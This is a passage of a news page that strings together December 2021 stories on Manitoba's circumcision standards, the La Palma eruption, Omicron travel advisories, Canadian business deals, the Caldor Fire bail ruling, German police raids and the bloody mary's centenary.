circumcisions are exempt from the new standards, which take effect Jan. 31, 2022. Last July, the Jewish community submitted hundreds of objections to the colleges draft document for including circumcision on infant males in the new standards for cosmetic and esthetic procedures, such as injecting Botox and other fillers, laser energy and light-based therapies and vasectomies. "(The college) received 500 responses specifically about circumcisions; (college) registrants and stakeholders also submitted comments about other aspects of the standard," communications officer Wendy Elias-Gagnon wrote in an email. Winnipegs Jewish community was opposed to the wording in the initial document, which said neonatal male circumcisions could only take place in doctors offices. They argued the proposed changes would affect their ability to hold a religious ceremony called Brit Milah, in which an infant boy is circumcised eight days after birth in the family home or at a synagogue. Looking for a great gift to give this holiday season? Give the gift of good news! You can make a contribution to the Free Press Religion in the News project in the name of a friend or family member. Your gift of $10, $25 or more can help us keep offering trusted coverage of faith in Manitoba. Give a gift! Click here to learn more about the project. Under the draft standard, the procedure could still be done outside of medical offices by a non-medical person called a mohel, but that wouldnt work well in Winnipeg, argued Jewish rabbis. They said nearly all ritual circumcisions in the city are performed by Jewish doctors who are trained in the religious ceremony, who would have been compelled to follow the standard of practice set out by the college. The chair of the Winnipeg Council of Rabbis welcomed the colleges decision to eliminate neonatal circumcision in its final document. "It seems to suggest that the current practice is not an area of concern needing specific guidance or change in practice," said Rabbi Allan Finkel. Last summer, after receiving considerable opposition to the proposed changes, the college acknowledged it had consulted with physicians in various specialities but did not check with Jewish leaders before releasing the draft version of the standard. Circumcision on males who are not infants is included in the new standard of practice. Female genital cutting/mutilation is addressed in a separate standard. faith@freepress.mb.ca The two long-time partners of printers The Prolific Group will receive this years hall of fame award from the Canadian Manufacturers & Exporters (CME) at its annual gala dinner in March. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The two long-time partners of printers The Prolific Group will receive this years hall of fame award from the Canadian Manufacturers & Exporters (CME) at its annual gala dinner in March. Al Alexandruk and Tom Wilton, lifelong friends and business partners, started Prolific in Alexandruks basement 47 years ago and now operate out of a modern 80,000-square-foot facility north of Inkster Boulevard. Vidir Vertical Storage Solutions out of Arborg, Man., will receive CMEs export award this year. With 40,000 installations in 40 countries, its vertical motorized storage carousels and display systems have been purchased by Fortune 500 companies around the world and can be seen in nearly every Home Depot store in North America. Tiber River received the emerging award that celebrates new companies with significant future potential that are distinguishing their business through growth, impact and innovation. The company creates environmentally friendly products for bath, body and home use. Manufacturing continues to be the driving force behind our provinces success, which has become even more apparent since the pandemic showed Manitobans how important the industry is to our livelihoods, said Ron Koslowsky, CME vice-president. Its important for us to recognize excellence in our industry and support other companies on their journeys, and to share these incredible stories to inspire others. martin.cash@freepress.mb.ca MADRID (AP) Residents on the Spanish island of La Palma dared to hope Wednesday that their volcanic eruption is over after almost three months of unnerving daily explosions, earthquakes, rivers of molten rock and a huge ash plume containing toxic gases. FILE - A fissure is seen next to a house covered with ash on the Canary island of La Palma, Spain, Dec. 1 2021. A volcanic eruption in Spains Canary Islands shows no sign of ending after 85 days. It became the island of La Palmas longest eruption on record on Sunday, Dec. 12. (AP Photo/Emilio Morenatti, file) MADRID (AP) Residents on the Spanish island of La Palma dared to hope Wednesday that their volcanic eruption is over after almost three months of unnerving daily explosions, earthquakes, rivers of molten rock and a huge ash plume containing toxic gases. The Cumbre Vieja volcano in the Canary Islands off northwest Africa fell silent on Monday evening, and scientists said its 36 hours or so of negligible activity might signal the beginning of the end of the eruption. Scientists wont rule out a resurgence of volcanic activity, which previously abated only to return with renewed force, but say it is unlikely. We cannot be 100% sure, as the volcano has been playing a few tricks over the last weeks, Valentin Troll, a geology expert with Swedens Uppsala University and co-author of a geology study of the Canary Islands, told The Associated Press. But many parameters have now subsided, and I think the volcano is indeed in decline now, he said. The Canary Islands government said that volcanic activity has fallen to almost nothing. Some wisps of white smoke floated from the crater Wednesday morning. As the eruption petered out, scientists ventured out on foot to the lip of the crater to take up-close gas readings for the first time in three months. Low and sustained levels of activity must be observed for 10 days for scientists to formally declare the end of the eruption, Maria Jose Blanco, a volcanologist and spokeswoman for Spains National Geographic Institute, told reporters. The eruption, which began on Sept. 19, is the longest on record on La Palma and has been a milestone for islanders, many of whom live from farming and tourism. The volcanic Canary Islands are a popular European vacation destination due to their mild climate. No injuries or deaths have been directly linked to the La Palma eruption, and life has continued largely as normal on most of the island of 80,000 residents. However, several thousand people were forced to abandon their homes and farms as they were engulfed by lava and a section of La Palma's southwestern side is severely damaged. For some locals, relief at the weakening eruption was tempered by frustration at government promises of help they say has failed to materialize. Being able to see the sun properly for the first time in nearly three months, sleeping at night without tremors, totally changes the picture," said Francisco Javier Lopez, a 61-year-old resident of the village of Todoque. But the future remains bleak. Lopez lost his home of 30 years during the first few days of the eruption and says he is living in an overpriced rented apartment in a nearby village. The future of his paragliding business, which employed him and his wife, also evaporated as lava buried the takeoff and landing strips at the top of the Cumbre Vieja mountain range. Lopez complained that despite pledges of free accommodation, subsidies and financial aid from national, regional and local officials, almost nothing has actually reached the La Palma residents affected by the volcano. The volcano has taken away our houses, including our past and memories, he told the AP. But politicians are taking away our future and our hope. Fiery molten rock flowing from Cumbre Vieja down toward the sea has destroyed around 3,000 buildings. The fields of thick, black hardened lava have entombed banana plantations, ruined irrigation systems and cut off roads. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The hardened lava covers around 1,200 hectares (about 3,000 acres), according to the Canary Islands volcanic emergency unit, Pevolcan. Where the molten rock has poured into the Atlantic Ocean, rocky deltas have formed over 48 hectares (120 acres), Pevolcan said. The eruption has drawn scientists from around the world to La Palma. They have been using cutting-edge technology to examine it from land, sea, air and even space. ___ Barry Hatton reported from Lisbon, Portugal. ___ Follow AP stories on volcanic eruptions at https://apnews.com/hub/volcanic-eruptions. The travel and hospitality sector was left reeling Wednesday after the federal government warned against non-essential trips abroad due to alarming numbers of COVID-19 cases. Minister of Health Jean-Yves Duclos and Minister of Transport Omar Alghabra announce a government advisory against non-essential international travel due to the Omicron COVID-19 variant at a press conference in Ottawa on Wednesday, December 15, 2021. THE CANADIAN PRESS/Patrick Doyle The travel and hospitality sector was left reeling Wednesday after the federal government warned against non-essential trips abroad due to alarming numbers of COVID-19 cases. WestJet CEO Harry Taylor railed against the advisory, predicting it will create "unnecessary disruption and chaos" ahead of the holiday travel season. "Fully vaccinated Canadians should not be singled out for choosing to take part in a safe activity," Taylor said in a statement. "Travel bans, restrictions and blanket advisories are devastating to the continued economic recovery of the country and place tens of thousands of recently recalled Canadian travel and tourism jobs at risk." He also claimed the government's warning is "not based on science and data," adding that Canada's travel measures fall out of step with border policies in the European Union, United Kingdom and United States. He is calling on the government to publicly share the COVID-19 data that informed Wednesday's advisory. His statement came after a news conference in Ottawa where Health Minister Jean-Yves Duclos said the Omicron variant is now spreading in Canadian communities and across the globe, prompting a new advisory less than two months after the old one was lifted. Duclos said the situation became more complicated at a pace he "couldn't have imagined" a few weeks ago. "To those who were planning to travel I say very clearly, now is not the time to travel," he said Wednesday. "I know this is difficult for airlines, for travel agencies, for families, for people who haven't been able to see each other for a long time," Duclos added in French. He would not offer advice on domestic travel, adding that any travel restrictions within Canada will come from provincial governments, but Prime Minister Justin Trudeau urged Canadians to be cautious when making their travel plans. "I understand this sucks," Trudeau said Wednesday. "The reality is Omicron is here in Canada, and we have to cut down community spread." Airline customers have been cancelling bookings by the thousands, said Air Transport Association of Canada CEO John McKenna. "Theyre cancelling because they dont know what to expect when they come back," he said in an interview. "I think theyre more afraid of the bureaucracy than of Omicron." A decline in international trips will likely prompt a slowdown in regional ones, since the two feed into one another, and anxiety over the highly transmissible strain will further discourage domestic travel, he said. Federal ministers warned Wednesday that more measures at the border could still be on the way, and did not rule out the possibility of reinstating the requirement for travellers who leave the country for less than 72 hours to complete a molecular COVID-19 test in order to re-enter the country. Currently, Canada has banned all foreign nationals who have been in 10 specific African countries in the last 14 days from entering the country to offset the threat of importing Omicron cases. That policy should be re-examined, chief public health officer Dr. Theresa Tam said Wednesday. Duclos hinted the government may "clarify" that policy soon. "We give our best advice. At the end of the day, decision-makers make their decisions," added Tam deputy Dr. Howard Njoo. The positivity rate among fully vaccinated travellers arriving by air was 0.17 per cent the week of Nov. 14 to 20, and 0.00 per cent the following week, according to the Public Health Agency of Canada. Land arrivals had comparable figures. "That was the promise behind the vaccination mandate and the promise behind testing," WestJet vice-president of government relations Andy Gibbons said in a phone interview. "If we shift backwards to 14-day quarantines or blanket policies, then we reverse that progress." He noted that virtually no activity outside of international travel demands proof of a negative molecular test from fully vaccinated individuals. Confusion around travel measures and shifting rules and guidance from the federal and provincial governments also remains a problem, Gibbons added. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The Association of Canadian Travel Agencies said the new advisory will have a "devastating impact" on its 14,000 agents, who depend on holiday travel to bolster business. The trade group is urging Ottawa to communicate advisories and border measures clearly and quickly on a single website and work more closely with industry. About 87 per cent of Canadians aged 12 and over are fully inoculated, with airport testing also ramping up. Travel insurance plans continue to cover COVID-19 costs at no extra charge and with no virtually cap on expenditures if a traveller winds up in hospital, said Marty Firestone president of Travel Secure, a Toronto-based company that specializes in travel insurance. "The insurers are themselves telling you they see little risk ... if you're fully vaccinated," he said. This report by The Canadian Press was first published Dec. 15, 2021. SMITHS FALLS, ONT. - Canopy Growth Corp. says it has signed a deal to sell its C3 Cannabinoid Compound Company GmbH subsidiary to German company Dermapharm Holding SE. Staff work in a marijuana grow room that can be viewed by at the new visitors centre at Canopy Growth facility in Smiths Falls, Ont. on Thursday, Aug. 23, 2018.THE CANADIAN PRESS/Sean Kilpatrick SMITHS FALLS, ONT. - Canopy Growth Corp. says it has signed a deal to sell its C3 Cannabinoid Compound Company GmbH subsidiary to German company Dermapharm Holding SE. Under the agreement, Canopy will receive an upfront payment of $115.5 million. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. It will also receive up an additional $61.4 million, subject to the achievement of certain milestones by the business. Dermapharm is a European pharmaceutical company based in Gruenwald, Germany. The business being sold develops and manufactures pharmaceutical products and includes Spectrum Therapeutics GmbH, THC Pharm GmbH The Health Concept and Spectrum Therapeutics Austria GmbH. The deal, which requires regulatory approvals, is expected to close by Jan. 31, 2022 . This report by The Canadian Press was first published Dec. 15, 2021. Companies in this story: (TSX:WEED) A new online grocery delivery system to rival that of SkipTheDishes Express Lane is settling in Skips hometown. A new online grocery delivery system to rival that of SkipTheDishes Express Lane is settling in Skips hometown. On Tuesday, DoorDash announced its bringing DashMart to Winnipeg, while SkipTheDishes proclaimed that its expanding its grocery services across Canada. Over 2,000 items, including fresh food and household goods, are available for delivery through DashMart, according to a news release from DoorDash. The San Francisco, Calif.-based company didnt respond to questions by print deadline. Users can order via the "convenience" tab on DoorDashs app, or on its website. DoorDash is bringing DashMart to Winnipeg. (Supplied) "We accelerated our launch into the grocery and convenience categories amidst the pandemic to address a heightened consumer need for household essentials on demand," Shilpa Arora, DoorDashs general manager of Canada, said in the release. DashMart touts local products, including Bagelsmith bagels, and a plan to donate excess groceries and perishable items to local non-profits. Members of DashPass, DoorDashs subscription service, receive free delivery fees and reduced service fees on orders over $12. The virtual grocery store will operate from 7:30 a.m. to 11 p.m. Its also open in Toronto, Vancouver, Kitchener and London, Ont. SkipTheDishes launched a pilot of its grocery delivery service, Skip Express Lane, in Winnipeg this July. It boasts nearly 1,500 offerings, with many local favourites, and deliveries within 25 minutes of orders being placed. A new Winnipeg warehouse will open early next year its one of 38 fulfilment centres the company said it will unveil by mid-2022. New hubs will pop up across Canada. In Winnipeg, we have seen that over 70 (per cent) of customers who order from Skip Express Lane return to place another order." Kevin Edwards, SkipTheDishes CEO "In Winnipeg, we have seen that over 70 (per cent) of customers who order from Skip Express Lane return to place another order, which speaks to the consumer demand for affordable and quick convenience and grocery options," Kevin Edwards, the Winnipeg-based companys CEO, said in a written statement. Skip reported a 900 per cent increase in year over year demand over the course of the pandemic, after it started partnering with local retailers to get products to doors. In April of 2020, grocery and convenience orders totalled 19,000 per month. Now, Skips network (in Winnipeg, Toronto and London, Ont. sees more than 370,000 such orders monthly. "Skip Express Lane fills a gap in the market, increasing the breadth of options available to customers," Edwards wrote. SkipTheDishes launched a pilot of its grocery delivery service, Skip Express Lane, in Winnipeg in July. (CNW Group / SkipTheDishes) Some of its top-selling items are Manitoba-made, including Spenst Bros Take and Bake Pizza, La Pampa Frozen Empanadas, and Pic-a-Pop sodas. Its Winnipeg location is the first to offer fresh produce. Delivery fees range from $1.99 to $3.99, depending on distance; bills totalling $25 or more receive free delivery. Consumers should note how much theyre paying for groceries on delivery apps versus in-person shopping, according to Munther Zeid, the owner of Food Fare. Grocers supplying delivery services might charge more for their products to cover the revenue taken by couriers, Zeid said, adding he declined an offer to partner with one over a year ago. "Based on the model they gave me, Id have to raise my prices by about 15 to 20 per cent," he said. "We could not afford to do it." Zeid isnt worried the virtual shops will steal customers from his brick and mortar stores. Consumers should note how much theyre paying for groceries on delivery apps versus in-person shopping, says Food Fare owner Munther Zeid. Mike Sudoma / Winnipeg Free Press files) "Im a true believer when it comes to grocery shopping, people want to see and feel and touch the food that theyre taking home," he said. And, many people choose what to buy while in the aisles, he said. "They might be in the mood for a steak," he said. "Then, they come to the store, and its changed to a roast because of what they see." DoorDash plans to expand DashMart in Canada next year. The service is already established in the United States. gabrielle.piche@winnipegfreepress.com BRUSSELS (AP) Omicron is expected to be the dominant coronavirus variant in the European Union's 27 nations by mid-January, the bloc's top official said Wednesday amid concerns that a dramatic rise in infections will leave Europe shrouded in gloom during the holiday season. European Commission President Ursula von der Leyen arrives for a meeting of the College of Commissioners, in Strasbourg, France, Tuesday, Dec. 14 2021. The College will discuss on a comprehensive package on energy and climate action and will also adopt a proposal for a revision of the Schengen Borders Code. (Julien Warnand, Pool Photo via AP) BRUSSELS (AP) Omicron is expected to be the dominant coronavirus variant in the European Union's 27 nations by mid-January, the bloc's top official said Wednesday amid concerns that a dramatic rise in infections will leave Europe shrouded in gloom during the holiday season. European Commission President Ursula von der Leyen said the EU is well prepared to fight omicron with 66.6% of its population fully vaccinated. She expressed disappointment that the pandemic will again disrupt year-end celebrations but said she was confident the EU has the strength and means to overcome COVID-19. Like many of you, I'm sad that once again this Christmas will be overshadowed by the pandemic," she said. European Commission President Ursula von der Leyen arrives to deliver a speech during a plenary session at the European Parliament in Strasbourg, eastern France, Wednesday, Dec. 15, 2021. European Commission President Ursula von der Leyen says that omicron is expected to be the dominant coronavirus variant in the 27-nation bloc by mid-January. (Julien Warnand, Pool Photo via AP) The EU-wide vaccination rate obscures that some EU nations, like Portugal and Spain, have immunized the vast majority of their people while other countries lag way behind. Bulgaria, for example, has just 26.6% of its population fully vaccinated, according to the European Centre for Disease Prevention and Control. Continental Europe can look at Britain for a sense of what lies ahead as omicron spreads; U.K. officials say it will be the country's dominant variant within days. The head of the U.K. Health Security Agency, Dr. Jenny Harries, said omicron is displaying a staggering growth rate compared to previous variants. The difficulty is that the growth of this virus, it has a doubling time which is shortening, i.e. its doubling faster, growing faster, Harries told a parliamentary committee on Wednesday. In most regions in the U.K., it is now under two days. When it started, we were estimating about four or five. Harries said the variant poses probably the most significant threat weve had since the start of the pandemic. European Commission President Ursula von der Leyen delivers a speech during a plenary session at the European Parliament in Strasbourg, eastern France, Wednesday, Dec. 15, 2021. European Commission President Ursula von der Leyen says that omicron is expected to be the dominant coronavirus variant in the 27-nation bloc by mid-January. (Julien Warnand, Pool Photo via AP) Britain on Wednesday recorded 78,610 new infections, its highest confirmed daily total of the pandemic. But deaths remained far lower than during the country's previous peaks, before vaccines against the coronavirus were widely deployed. Scientists have said they don't know yet if omicron is as lethal as other virus variants. Alarming rises in infections as winter approached and the delta variant remained at large prompted many European governments to implement public health measures as excess mortality increased during the fall. The head of the World Health Organization says 77 countries have reported cases of omicron but the variant is probably in most countries by now, just not yet detected. WHO says data is still coming in and much remains unknown about the new variant. According to an analysis Tuesday of data from South Africa, where omicron is driving a surge in infections, the variant seems to be more easily spread from person to person and better at evading vaccines while causing less serious illness. A girl receives a dose of Pfizer-BioNTech COVID-19 vaccination for children aged 5 - 11, in Rome, Wednesday, Dec. 15, 2021. Italy has started vaccinating children aged 5-11 against COVID-19 as the government braces for the spread of the omicron variant during the holiday season. (AP Photo/Andrew Medichini) Omicron is spreading at a rate we have not seen with any previous variant. We are concerned that people are dismissing omicron as mild, WHO Director-General Tedros Adhanom Ghebreyesus said. Surely we have learned by now that we underestimate this virus at our peril. Tedros emphasized that vaccines were just one tool if a major one to fight the pandemic, along with measures like mask-wearing, better indoor ventilation, social distancing and hand washing. With omicron now on the scene, more countries are adopting restrictions. Italy this week required negative tests from vaccinated visitors, raising concerns that similar moves elsewhere will limit the ability of EU citizens to travel to see friends and relatives over the holidays. Portugal adopted a similar measure on Dec. 1, requiring a mandatory negative test for all passengers on arriving flights, regardless of their vaccination status, point of origin or nationality. A boy receives a dose of Pfizer-BioNTech COVID-19 vaccination for children aged 5 - 11, in Rome, Wednesday, Dec. 15, 2021. Italy has started vaccinating children aged 5-11 against COVID-19 as the government braces for the spread of the omicron variant during the holiday season. (AP Photo/Andrew Medichini) Greece announced Wednesday that all arriving travelers must display a negative test starting Sunday unless they have spent less than 48 hours abroad. Von der Leyen said the EU faces a double challenge, with a massive increase of cases in recent weeks due to the delta variant combined with the rise of omicron. We're seeing an increasing number of people falling ill, a greater burden on hospitals and unfortunately, an increase in the number of deaths," she told European Parliament lawmakers. Von der Leyen insisted that the increase in infections in Europe right now remains due almost exclusively" to the delta variant. She said that fighting vaccine skepticism is key, especially in EU nations with lower vaccination rates. Because the price that we will pay if people are not vaccinated continues to increase," she said. "Its also a problem for our elderly citizens, who once again this Christmas cant see their grandchildren. And its also a problem for those children who once again cant go to school. What kind of a life is that?" Echoing von der Leyen's comments, German Chancellor Olaf Scholz vowed Wednesday that his new government would do everything for Germany to overcome the coronavirus pandemic and let people return to normal lives. "We have no time to waste, said Scholz, who took office as Germany grapples with its biggest wave of infections during the pandemic to date. Scholz also said his German government wont tolerate a tiny minority of extremists trying to impose their will against coronavirus policies. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. As governments braced for the holiday season, Greece, Italy, Spain and Hungary began vaccinating children aged 5-11 against COVID-19. EU leaders have a summit scheduled for Thursday in Brussels. ___ Jamey Keaten in Geneva, Danica Kirka in London, Raf Casert in Brussels and Geir Moulson in Berlin contributed to this story. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic PLACERVILLE, Calif. (AP) A father and son charged with sparking a devastating Northern California wildfire that destroyed about 1,000 homes near Lake Tahoe earlier this year are out of jail after a judge vastly reduced their bail, largely rejecting prosecutors' arguments that the duo posed a flight risk. FILE - These images provided by the El Dorado County Sheriff's Office shows David Smith, left, and his son Travis Shane Smith, who were arrested Dec. 8, 2021 on suspicion of starting a massive California wildfire that destroyed many homes and forced tens of thousands of people to flee Lake Tahoe communities earlier this year, authorities said. The two are out of jail after a judge vastly reduced their $1 million bails. A Placerville judge on Monday, Dec. 13, 2021, reduced bail for Travis Shane Smith to $50,000 and reduced bail for David Scott Smith to $25,000. (El Dorado County Sheriff's Office via AP) PLACERVILLE, Calif. (AP) A father and son charged with sparking a devastating Northern California wildfire that destroyed about 1,000 homes near Lake Tahoe earlier this year are out of jail after a judge vastly reduced their bail, largely rejecting prosecutors' arguments that the duo posed a flight risk. Travis Shane Smith, 32, had his $1 million bail reduced to $50,000 and his father David Scott Smith, 66, had his $1 million bail reduced to $25,000 on Monday after their attorneys argued the men had no criminal history and no reason to leave behind their families, The Sacramento Bee reported. The Smiths were arrested Dec. 8 and charged in El Dorado County with recklessly starting a fire and illegal possession of a silencer. Travis Smith is also charged with illegal conversion or manufacture of a machine gun. Travis Smith's attorney, Mark Reichel, told The Associated Press on Tuesday that prosecutors have not laid out their theory as to how the men started the Aug. 14 Caldor Fire, which destroyed about 1,000 homes and other buildings, injured five people and forced tens of thousands of others to flee their homes. Theyre very happy to be out, Reichel said. They werent very happy to be arrested. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Prosecutor Nora Hall argued that potential prison sentences at least a dozen years for each man made them potential flight risks and that Shane Smiths social media posts indicated a lack of concern for proper firearms safety. But El Dorado Superior Court Judge Ralph Marks said a bail reduction was warranted because there was no evidence the men acted maliciously or with intent. The charges also did not indicate they posed a danger to the community, the judge said. Reichel and Linda Parisi, attorney for the elder Smith, said the men were in the area where the fire sparked and called 911 to report flames. The criminal complaints do not specify how the machine gun and silencer tie into the Caldor Fire, and the DAs office has not offered an explanation. It declined on Tuesday to release additional statements about the case. The fire crossed three Northern California counties, forcing tens of thousands of people to evacuate the resort town of South Lake Tahoe and surrounding areas before it was contained in October. The next scheduled court date for the Smiths is Feb. 1. EDMONTON - Flair Airlines plans to expand its fleet to 30 aircraft by mid-2023, more than double the current size as it strives for a 50-plane fleet within five years. An airliner cuts through the skies over Montreal, Wednesday, Dec. 23, 2020. THE CANADIAN PRESS/Paul Chiasson EDMONTON - Flair Airlines plans to expand its fleet to 30 aircraft by mid-2023, more than double the current size as it strives for a 50-plane fleet within five years. The ultra-low-cost carrier says it will lease an additional 14 new Boeing 737 Max jetliners in the next year and a half while raising its employee tally to 1,000 from the current 600. The new planes would come on top of the dozen now on hand as well as the four already slated for arrival next year. Flair says the fleet, which was effectively down to one plane last April, will see 20 aircraft flying to Canadian cities ranging from Victoria to St. John's, N.L., by summer. The budget airline, which also flies to U.S. cities and as of February to Mexico, is growing rapidly in a sector of renewed competition despite pandemic headwinds. Ultra-low-cost carrier Lynx formerly Enerjet announced last month it will launch commercial routes next year while WestJet budget subsidiary Swoop continues to bulk up, unveiling nine new routes out of Edmonton in November. "Imitation is the greatest form of flattery," said Flair CEO Stephen Jones. "I think that they recognize what we recognize, which is the Canadian market needs good, strong, ultra-low-cost competition. So we will just focus on playing our game. And if they eventually start flying, we'll deal with it at the time," he said of Lynx. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Canada's airline regulator says it continues to monitor financial arrangements between Flair and U.S. private equity firm 777 Partners, which is leasing the airline its new planes. The Miami-based company holds a 25 per cent stake in the carrier. The foreign ownership ceiling on domestic airlines is 49 per cent, raised from 25 per cent by the Liberal government in 2018. "In assessing whether an airline is in fact controlled by Canadians, the CTA considers a number of factors, including any implications that may arise from the leasing of assets from non-Canadians," the Canadian Transportation Agency said in an email. Flair has 58 per cent Canadian ownership, Jones said. "Im very comfortable that Flair Airlines is fully compliant," he told reporters on a conference call Tuesday. This report by The Canadian Press was first published Dec. 15, 2021. BERLIN (AP) Police in eastern Germany carried out raids Wednesday in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said they found weapons including crossbows, but it wasn't clear whether they were usable. A police car is seen in the Pieschen district during a raid after threats against Saxony's Prime Minister Kretschmer, in Dresden, Germany, early Wednesday, Dec. 15, 2021. Police in eastern Germany are carried out raids in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said that five properties in Dresden and one in a nearby town were being searched on Wednesday in an investigation of suspected preparations for a serious act of violence. (Robert Michael/dpa via AP) BERLIN (AP) Police in eastern Germany carried out raids Wednesday in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said they found weapons including crossbows, but it wasn't clear whether they were usable. Five properties in Dresden and one in the nearby town of Heidenau were searched in an investigation of suspected preparations for a serious act of violence, police said. The investigation was triggered by a report last week on ZDF television that a group on messenger service Telegram discussed plans to kill Saxony's state governor, Michael Kretschmer, and other members of the state government. Dresden is the capital of Saxony, which has seen frequent protests against coronavirus policy and has Germany's lowest vaccination rate. According to the report, the group's 103 members shared a rejection of vaccinations, the state and the current coronavirus policy. It featured audio messages in which people urged opposing policy measures with armed force if necessary, directed against Kretschmer and others. Police have said that comments by some members on their alleged possession of weapons and crossbows are part of the investigation. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Tom Bernhardt, a spokesman for Saxony's state criminal police office, said that six members of the Telegram group are under investigation five men and one woman, all German citizens, ages 32 to 64. He said that police found crossbows, parts of weapons, and weapons; whether these are capable of firing or are so-called live weapons at all, we will see in the course of the investigation. A police officer stands in front of a house in the Pieschen district during a raid after threats against Saxony's Prime Minister Kretschmer, in Dresden, Germany, early Wednesday, Dec. 15, 2021. Police in eastern Germany are carried out raids in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said that five properties in Dresden and one in a nearby town were being searched on Wednesday in an investigation of suspected preparations for a serious act of violence. (Robert Michael/dpa via AP) Kretschmer said that threats against officials, scientists and journalists are unacceptable, will not be tolerated and will be pursued with all our strength. Coronavirus restrictions and the prospect of a likely vaccine mandate for all early next year have fueled recent protests in Germany. Security agencies have warned that parts of the Querdenken movement, a loose collection of groups opposed to the pandemic restrictions, are becoming increasingly radicalized. New Chancellor Olaf Scholz said in a speech to parliament Wednesday that we won't put up with a tiny minority of uninhibited extremists trying to impose its will on the whole of our society. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic ATHENS, Greece (AP) Greenpeace on Wednesday renewed calls against proposed deep-sea oil and gas exploration off southwest Greece, warning of unbearable consequences to endangered Mediterranean whales and dolphins. In this handout photo provided by Greenpeace, whales are seen southwest of Crete island, Greece, on Friday, Sept. 10, 2021. Greenpeace has renewed calls against proposed deep-sea oil and gas exploration off southwest Greece, warning of "unbearable" consequences to endangered Mediterranean whales and dolphins. (Leonidas Karantzas/Greenpeace via AP) ATHENS, Greece (AP) Greenpeace on Wednesday renewed calls against proposed deep-sea oil and gas exploration off southwest Greece, warning of unbearable consequences to endangered Mediterranean whales and dolphins. Greenpeace Greece official Kostis Grimanis said the project should be scrapped before it starts to wreck the Mediterranean. The appeal came as the environmental group published new research on sea mammal populations in parts of the miles-deep Hellenic Trench, including areas that would be affected by prospecting. The three-week summer project, in cooperation with the Athens-based Pelagos Cetacean Research Institute, detected 35 endangered sperm whales and dozens of dolphins some threatened in depths of up to 4,200 meters (13,800 feet). Greenpeace said sound-sensitive cetaceans whales and dolphins would be at risk from the deafening sonic blasts used in undersea prospecting. Greek officials counter that strict environmental safeguards will be observed. In 2019, Greece granted exploration rights for two blocks of seabed south and southwest of the island of Crete to a consortium of energy companies TotalEnergies and ExxonMobil with Greeces Hellenic Petroleum. Environmentalists had protested at the time, also highlighting the potential risk of spills from deep-water drilling. Prospecting has not yet started, and it's unclear when it will although the concession states that it must be in the winter, to less impact cetacean breeding periods. Greenpeace's Grimanis said the project means exposing endangered species and crucial ecosystems to unbearable noise and pollution from seismic blasts and deep-sea drilling operations. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. And for what? To keep burning oil and gas, one of the dirtiest and most expensive energy sources, when the climate crisis demands we urgently walk away from them. The Hellenic Trench includes the Mediterranean's deepest waters, at 5,267 meters (17,300 feet) and is a vital habitat for the seas few hundred sperm whales, and for other cetaceans already threatened by fishing, collisions with ships and plastic pollution. These mammals are particularly sensitive to the underwater noise produced by seismic surveys for fossil fuels, in which sound waves are bounced off the seabed to locate potential deposits. Sonar used by warships has been shown to have deadly effects on whales, and experts say seismic surveys can do the same. Greece is hoping to raise revenues and achieve greater energy security through offshore oil and gas, and the issue of undersea exploitation rights has further poisoned relations with neighboring Turkey which claims large parts of the Eastern Mediterranean as its own. Nevertheless, a Greenpeace statement Wednesday urged Athens to immediately cancel all fossil fuel plans. Any new investment in the falsely advertised good fossil gas will in a few years become a stranded asset with dire consequences for the economy ... and the countrys natural resources, it said. PARIS (AP) Harrys Bar in Paris is celebrating the 100th birthday of the bloody mary, the vodka-tomato juice cocktail believed to have been invented at the iconic watering hole in 1921. PARIS (AP) Harrys Bar in Paris is celebrating the 100th birthday of the bloody mary, the vodka-tomato juice cocktail believed to have been invented at the iconic watering hole in 1921. The centenary events this week bring a welcome respite from winter gloom and worries about the omicron variant of the coronavirus. Bartender Antoine stands in front of a Bloody Mary cocktail at Harry's Bar in Paris, Friday, Dec. 10, 2021. Harry's Bar in Paris is celebrating the 100th birthday of the Bloody Mary, the vodka-tomato juice cocktail believed to have been invented in the iconic bar in 1921. The centenary events this week come as a welcome respite from winter gloom and spreading worries about the omicron virus variant. (AP Photo/Rafael Yaghobzadeh) The bar is carefully checking COVID-19 health passes as foreign visitors gather to sample the drink closely associated with Harry's Bar, whose patrons over the past century have included writers Ernest Hemingway and F. Scott Fitzgerald. According to the history of Harry's, bartender Fernand Petiot invented the cocktail, and the recipe was first published in a book called Harry's ABC of Cocktails" in 1921. The bar serves an estimated 12,000 bloody marys a year. Its a classic drink, bartender Dante Agnelli said while demonstrating the mixology behind the drink, ingredient by ingredient: salt and pepper, Tabasco sauce, Worcestershire sauce, lemon juice, vodka and tomato juice. You make it directly in the glass, Agnelli said as he stood 